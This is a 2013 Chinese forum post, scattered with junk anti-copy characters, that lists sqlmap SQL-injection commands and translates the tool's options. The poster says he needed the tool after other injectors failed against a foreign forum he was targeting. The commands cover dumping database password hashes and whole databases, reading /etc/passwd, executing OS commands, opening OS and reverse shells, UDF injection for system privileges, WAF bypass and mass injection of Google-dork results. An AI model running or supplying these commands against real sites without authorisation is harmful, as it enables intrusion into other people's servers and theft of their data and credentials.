找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2491|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、* j( Z5 c" z6 ~' X  z
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称# G, R  X% F: ~) J5 G2 w& {5 r/ h7 C: H1 B
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名& I& `* I: b2 G8 Q; T, E
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段! c  [7 a4 {- X$ r$ l% S( y( O

. P8 N0 h  w4 Y  m) X/ asqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v# l; c' v8 a( e0 A" W' }- e3 ~# O
0 #获取字段内容
! Z- c* x' h9 G4 Q( R0 T8 Q " r" K, g/ V+ b6 C) y/ m! o$ r; v
******************信息获取******************8 E+ ?0 o! k9 f/ {. y
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型1 s1 y4 X8 T7 U2 f6 Y" E# s
sqlmap -u “http://url/news?id=1″ –users #列数据库用户, d4 d8 D2 o$ [( X8 o1 |
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
7 y; Q( r1 D: m( d. Z6 R$ L# Q) p  psqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
9 I( p4 G9 m! c: I* d" Gsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
; G) ?& I+ c6 d2 ?# [; {& zsqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
! D6 \$ U1 J& E( C0 x9 R% i–start 1 –stop 20 #列出指定字段,列出20 条
  P4 A; ]3 i8 M+ r9 msqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表+ X/ ?: l/ G+ j2 w* w
sqlmap -u “http://url/news?id=1″ –privileges #查看权限3 G/ v1 ]" ?- G$ O4 n% Y
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色' j6 y1 i* r1 S7 _' B
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
' u1 ]2 P8 Y& \# P/ L6 Isqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
  f3 a+ _9 d5 k* J4 ysqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
* e5 g: |5 S6 ]1 f' E7 o, h9 [sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
8 P. H) [" g$ Nsqlmap -u “http://url/news?id=1″-b #获取banner信息
/ \& c) A% i+ {sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入' T6 ~% G0 I- |# R3 V0 X: R
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型; z: }8 i& }# t3 f
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入2 M4 ^2 b* p6 s/ N; ~8 r
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
: n* ^: j5 J6 T$ g0 y+ |sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令% W9 ^3 o8 w$ e( w6 ]2 S4 b- o: W
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
9 |7 H5 J, r: I7 }7 M; {sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
( T6 f6 ]4 Q' R8 bsqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell$ L# O" n/ k2 Y$ c3 C$ u- w5 `* N/ N
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
& O: n$ |' o$ psqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度; ?* W: V# c/ ~2 x, o
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 y: a' G/ J8 R" R# }' _***********高级用法*************
, U* N8 a, m( _/ G0 X-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入- c7 u# s" r& h  E8 X0 M- ^
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问) L9 M  \) a3 a" t* n1 O9 }
–technique   测试指定注入类型\使用的技术. B% L8 z! ^, f
不加参数默认测试所有注入技术: D1 ^( }$ P' }7 [
•     B: 基于布尔的SQL 盲注" ^0 r! u' n8 r  n2 m5 u0 V
•     E: 基于显错sql 注入
8 V, |( y! b, L. L! W1 u* a# A; E•     U: 基于UNION 注入8 S1 L! {" ]' [
•     S: 叠层sql 注入
! D" k3 ~' t0 t* E) y•     T: 基于时间盲注
% [; |$ ~0 H+ B) }& V–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
' ~5 K, p% x0 B+ G$ ?  c–tamper 插件所在目录# `: V2 `. K. M. k+ @
\sqlmap-dev\tamper6 G) c  T) @% \# U# \
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
% }% S3 g- Z  ]6 T# n: I* mlevel 执行测试等级 攻击实例:2 `/ F, o! c& G  U! L) u4 w
Sqlmap -u “http://url/news?id=1&Submit=Submit”
0 R; u" O" m$ h/ ?* J2 z8 H–cookie=”PHPSESSID=41aa833e6d0d( e& }) b3 L/ p" q  c
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
8 j* t2 R( v1 z7 k$ l–password
! x! m$ `, B: p: d; a8 S/ r参考文档:http://sqlmap.sourceforge.net/doc/README.html* Y3 }* s" ]% z2 x
***********安装最新版本*************; m' f1 K0 |0 |  v
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版! O( X# E. ]3 @4 _6 V
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev) ]8 d- ~( q7 B. |* [
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
& B7 M. C. m9 o. @sudo vim /home/当前用户/.bashrc
! W, A0 _0 c3 G5 W( G#任意位置加上:: \: O, G5 D# V3 J  V" I0 ^/ K
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效. @# x" H( R$ X3 ~2 C: m; l
如果想对所有用户有效 可设置全局 编辑下面的文件
. o( t4 ]" @& bvim /etc/profile, C- H: a0 S. {% b2 \3 C6 C9 S
同样加上:0 x8 p% U, g' m! |- s
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效' R; Z- y" C. P! K
******************windows 7 (x64) sqlmap install (SVN)************- }0 x- |4 F: ^  p- Q( A
http://www.python.org/getit/ 安装python
3 L& z# M6 I/ v7 J/ w% k( j* q: chttp://www.sliksvn.com/en/download 安装windows svn client9 x& ~2 C0 \8 h7 i& G$ K
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev! m4 k! U1 P: H2 U
安装sqlmap
  |; [- M9 F0 P  G8 ~$ A) P2 x*修改环境变量6 U4 s/ K) k; X4 C
–version             显示程序的版本号并退出; k1 }- T3 z0 O( |% M" _
-h, –help            显示此帮助消息并退出
5 R6 N3 \& W, E5 f-v VERBOSE            详细级别:0-6(默认为1)
) v8 y; m* A% R$ Z0 A0 F, y' TTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。! ]+ V; H2 g3 t% ]+ ~3 e
-d DIRECT           直接连接到数据库。
- X& P& P6 {' E/ \; b5 `-u URL, –url=URL   目标URL。
1 r2 Y) o- R2 P9 t1 n5 W- {; K8 _-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
+ B! t1 B' ?, @$ D4 c-r REQUESTFILE      从一个文件中载入HTTP 请求。
5 V: n7 A5 {) @7 ]* G  @-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
" Z" U5 Z0 U5 B' [# l-c CONFIGFILE       从INI 配置文件中加载选项。
3 r' A/ P6 S* A! E- Y, B7 [Request(请求)::7 n6 n! u, C- N6 n8 J1 I, y
这些选项可以用来指定如何连接到目标URL。1 b2 U; y6 I' l8 p. e8 S& Z9 N3 i
–data=DATA         通过POST 发送的数据字符串3 q7 }0 H1 }. H5 |
–cookie=COOKIE     HTTP Cookie 头& ^* d; T* A8 N" d7 q+ X) D- ]4 T
–cookie-urlencode  URL 编码生成的cookie 注入
, _7 `- [* n0 k1 _% f2 s$ {; M8 K–drop-set-cookie   忽略响应的Set –Cookie 头信息
4 X/ @( a2 d. ?5 }( s # w0 H* ^- O/ l& W5 N. M
–user-agent=AGENT  指定  HTTP User –Agent 头
& v  k, d/ ^; Q9 i6 r! h4 y–random-agent      使用随机选定的HTTP User –Agent 头) ^& T( Z7 d/ P5 m
–referer=REFERER   指定  HTTP Referer 头2 _' ]& B2 k5 ]8 E+ Y" ]0 s
–headers=HEADERS   换行分开,加入其他的HTTP 头
* m* V; ?! f# o; F! g5 G0 v" A5 l–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)( S5 ~) C3 R# @. y8 g
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)4 J5 y$ F; v$ s% ?* {) I3 ~* h
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
* K+ X8 h5 [; t$ Y5 S–proxy=PROXY       使用HTTP 代理连接到目标URL+ q  A6 _3 S3 Z- ^2 e
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)( ]. C+ I; h, p+ t( R! ?6 A
–ignore-proxy      忽略系统默认的HTTP 代理
- h0 I& d' V6 Z5 q" M/ G; B–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
9 |7 K9 B. V3 O–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
* f: r. `6 X9 e9 N( V& S3 l–retries=RETRIES   连接超时后重新连接的时间(默认3)
. j( d* `. {. N% G' N. `–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
% k1 L6 z* ~( e5 W) z5 ]–safe-url=SAFURL   在测试过程中经常访问的url 地址7 P' h! h& t  T7 p: Z4 W
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL9 |' M3 a4 x! x# J0 P+ v, r. d; [  |- o
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
# q% M6 L9 p! |% R  u-o                  开启所有优化开关* b2 Y1 x; l7 I: Z7 d1 R
–predict-output    预测常见的查询输出! q7 O+ H# u8 ?# L# e
–keep-alive        使用持久的HTTP(S)连接
2 t1 D2 t; t3 K: @! R- _–null-connection   从没有实际的HTTP 响应体中检索页面长度: L  h' M7 j; x# G
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
. ]" U( v. r1 k2 i* y2 ]2 S6 qInjection(注入):
% j  P8 [- S) `. E! E2 w- Y1 o0 g2 c. d这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。$ ]7 Q! Z- M" }5 \' V
-p TESTPARAMETER    可测试的参数(S)$ g, i, n# ]1 [
–dbms=DBMS         强制后端的DBMS 为此值
- i( J/ v. f4 I–os=OS             强制后端的DBMS 操作系统为这个值. p' t7 O. B6 h; o& I- S, l
–prefix=PREFIX     注入payload 字符串前缀1 d1 D. X1 x/ k* w
–suffix=SUFFIX     注入 payload 字符串后缀$ `8 k( }+ V5 h$ O4 J1 j
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
9 C5 {8 O) }' M9 e; X) f! `Detection(检测):
7 N5 u3 J% x" b6 V+ _# ^% y8 C这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
3 G! h$ C5 H$ Z, ]" j; _3 A) B–level=LEVEL       执行测试的等级(1-5,默认为1)
& I" @; Q# C6 G  \6 e9 M6 K* o–risk=RISK         执行测试的风险(0-3,默认为1)$ L, ]5 y. ]* t2 s8 q- f
–string=STRING     查询时有效时在页面匹配字符串) x; h) m% r# }! n
–regexp=REGEXP     查询时有效时在页面匹配正则表达式
7 w* P4 T" I" {7 ]$ H2 M+ ^% ~–text-only         仅基于在文本内容比较网页
# F; Q" Z7 \; k2 l* X- ZTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
3 w% ~9 t- A% w' N! n–technique=TECH    SQL 注入技术测试(默认BEUST)1 Q! G3 F7 U" ~
–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)/ F5 _6 O  ?0 O: B$ o
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
! u3 l" T8 M! |! j–union-char=UCHAR  用于暴力猜解列数的字符
6 r0 O, L; {& P; P; E. P8 L; ~; RFingerprint(指纹):, }* w$ L+ V) F6 v. ^# V! S
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
" I" K- U' S$ x7 c5 W7 jEnumeration(枚举):# _0 Q( p6 B0 H: y. S* A& U+ A% _) L9 X

4 S8 J9 e, o" v1 d这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
9 K) h& t- N! O+ Z4 V, z* m, R$ B-b, –banner        检索数据库管理系统的标识
8 D* j: S# S# A" Y% u2 T–current-user      检索数据库管理系统当前用户
  d/ f0 {8 v& \5 R0 d1 k$ |/ o7 i–current-db        检索数据库管理系统当前数据库9 y- h2 ^; a/ ^2 N! x( }- b
–is-dba            检测DBMS 当前用户是否DBA. n+ Y1 @5 v1 r* O9 `
–users             枚举数据库管理系统用户5 ~" f2 D2 ~7 @+ n, D) }
–passwords         枚举数据库管理系统用户密码哈希2 Y1 D6 G* H: `, z
–privileges        枚举数据库管理系统用户的权限
" y5 g) n) b# q- h; O, i–roles             枚举数据库管理系统用户的角色+ |8 |) t* h# i% R/ w. [
–dbs               枚举数据库管理系统数据库8 E! a, o( N, z' T1 s' |
–tables            枚举的DBMS 数据库中的表
3 i( p8 @8 B+ s( X8 A  E–columns           枚举DBMS 数据库表列; |# f% y3 d2 \8 q# H3 y
–dump              转储数据库管理系统的数据库中的表项6 t" L  \. O, J! z; O% I
–dump-all          转储所有的DBMS 数据库表中的条目( X3 B  s$ v2 l+ C, Y
–search            搜索列(S),表(S)和/或数据库名称(S)
; j% q9 X. a' Y; I5 g6 c-D DB               要进行枚举的数据库名9 D* {/ [) O5 F0 I  s) }
-T TBL              要进行枚举的数据库表
: f% U5 T& A9 x-C COL              要进行枚举的数据库列
  G' t: e( [6 u9 m$ Q-U USER             用来进行枚举的数据库用户
. y+ ^! p: l2 ]8 {–exclude-sysdbs    枚举表时排除系统数据库' K) h# n$ a$ r2 k
–start=LIMITSTART  第一个查询输出进入检索
" G. `. [: e' I5 K4 q7 [8 L0 ]–stop=LIMITSTOP    最后查询的输出进入检索: y" `$ Z2 Q6 ^9 B, q' [& W
–first=FIRSTCHAR   第一个查询输出字的字符检索
# W9 M- u  ]! C–last=LASTCHAR     最后查询的输出字字符检索
; L& w, d# o' z–sql-query=QUERY   要执行的SQL 语句
- d  ~8 q, M& Z" y4 f–sql-shell         提示交互式SQL 的shell6 h' N( w% c  X2 v: {  w1 N2 _7 e
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
( X, q- P5 \8 ~' j5 \0 r( y. E–common-tables     检查存在共同表3 E' j# ~6 N; X" r; g# p; h4 K: ^8 _
–common-columns    检查存在共同列) H/ ^" {9 M4 A/ }9 _& P# p
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
* |7 N! E3 a  q6 p( N' k–udf-inject        注入用户自定义函数
$ @6 }, d6 ~$ @–shared-lib=SHLIB  共享库的本地路径
; k. B" i- P- b7 ^1 Q1 {( @File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
& r# y% t& q6 D& {5 X0 S+ F9 }# `2 m–file-read=RFILE   从后端的数据库管理系统文件系统读取文件+ K: O+ Y' O% L9 W5 N, A
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
) w7 T, X( A& w. {+ Z1 E–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
1 A0 R) y6 b$ I0 r3 eOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。  a/ @* J. M# d
–os-cmd=OSCMD      执行操作系统命令9 i7 d; S, W: t; U: V) z6 D
–os-shell          交互式的操作系统的shell' r  U: u2 n" J9 U( d
–os-pwn            获取一个OOB shell,meterpreter 或VNC
. U7 N2 a$ t9 k+ k7 M–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC* M: z7 m" r, [) ~
–os-bof            存储过程缓冲区溢出利用$ d; P0 w8 [0 c
–priv-esc          数据库进程用户权限提升. V$ q) C! s7 S* U7 T+ q3 v4 Z# ~
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径( S% e8 V( W8 f. a
–tmp-path=TMPPATH  远程临时文件目录的绝对路径8 P; ?, K/ Q0 c9 g+ C5 F/ X

% V6 ^& k+ G' k4 p( W6 ~Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。, G" m- A& S1 m8 C0 U7 M
–reg-read          读一个Windows 注册表项值
4 n) v6 ?* m: [–reg-add           写一个Windows 注册表项值数据
) X# o) o  \  y& c' i! v  Q–reg-del           删除Windows 注册表键值
. z. z6 s1 K- q" t& `& ?  a4 u! W3 t–reg-key=REGKEY    Windows 注册表键- p6 E6 p( i0 h, v+ d
–reg-value=REGVAL  Windows 注册表项值9 i# T9 ^! j1 [8 k8 z
–reg-data=REGDATA  Windows 注册表键值数据3 `0 A+ T( z- ~1 q9 C; E
–reg-type=REGTYPE  Windows 注册表项值类型2 c6 _4 a9 b3 d
General(一般): 这些选项可以用来设置一些一般的工作参数。$ {( Q/ J! C# l# q& q. D* d' J2 j" ]
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
) `* M2 \$ G, n7 z: ^-s SESSIONFILE      保存和恢复检索会话文件的所有数据  z7 ?: R% u/ E4 B3 c
–flush-session     刷新当前目标的会话文件9 r! ?" y+ o! C& k& [+ J1 N
–fresh-queries     忽略在会话文件中存储的查询结果" @. m& |* B9 j  ^  K; T; [
–eta               显示每个输出的预计到达时间; j7 s$ [' K1 Z" m+ k
–update            更新SqlMap. [! P7 W3 a/ {) c( D4 r$ S$ I
–save              file 保存选项到INI 配置文件
* Y" X* ~/ X  F% }–batch             从不询问用户输入,使用所有默认配置。
/ T7 p; q) b' x$ y2 Y! _$ JMiscellaneous(杂项):2 k2 j1 S# |$ i+ n
–beep              发现SQL 注入时提醒) F0 G& R0 w  Z& h* u
–check-payload     IDS 对注入payloads 的检测测试9 y, Y: k: d! u3 d9 [! m- t8 u8 A
–cleanup           SqlMap 具体的UDF 和表清理DBMS' F. S1 W+ B# F( p) u- P
–forms             对目标URL 的解析和测试形式
0 K) W. q$ H6 g* o3 A, A6 i- X–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果. u% j4 O6 e1 R' {
–page-rank         Google dork 结果显示网页排名(PR)
" U! f1 ~1 h( l4 J& O# G. F3 o* s–parse-errors      从响应页面解析数据库管理系统的错误消息
; P1 W' |/ r  Z# n! b8 D–replicate         复制转储的数据到一个sqlite3 数据库
; }" F5 t, f+ F9 V6 c–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
! E. W+ d% a9 `: F7 ^–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表